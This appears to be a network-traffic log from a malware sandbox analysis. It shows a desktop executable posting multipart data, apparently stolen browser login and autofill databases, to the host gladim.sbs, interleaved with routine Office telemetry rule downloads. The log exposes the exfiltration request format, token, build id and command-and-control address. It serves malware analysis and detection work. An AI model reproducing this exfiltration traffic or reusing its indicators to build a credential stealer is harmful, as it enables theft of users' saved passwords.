2024-12-02 00:34:25 UTC	319	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKKFBGDHJKFHJJJJDGC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:25 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 Data Ascii: ------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------AKKKFBGDHJKFHJJJJDGCCont
2024-12-02 00:34:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:25 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:25 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: f483c550-b01e-0098-3fc5-43cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003427Z-174f7845968j6t2phC1EWRcfe800000013sg00000000gvat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:27 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:27 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: f843b097-901e-00ac-53c3-43b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003427Z-174f7845968ljs8phC1EWRe6en00000013hg000000009b3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:27 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: b72045ed-501e-0029-4305-41d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003427Z-174f7845968pght8hC1EWRyvxg00000006y0000000000ega x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:27 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: e7678828-401e-0078-7a85-434d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003427Z-174f7845968px8v7hC1EWR08ng0000001400000000005v6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6eee8137-f01e-0096-4bb4-4210ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003428Z-174f7845968swgbqhC1EWRmnb400000013s000000000kdn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49764	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:27 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKFHCFIECAAAKEGCFI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:27 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 0d 0a 43 6f 6e 74 Data Ascii: ------AAKKFHCFIECAAAKEGCFIContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------AAKKFHCFIECAAAKEGCFIContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------AAKKFHCFIECAAAKEGCFICont
2024-12-02 00:34:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:27 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2024-12-02 00:34:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 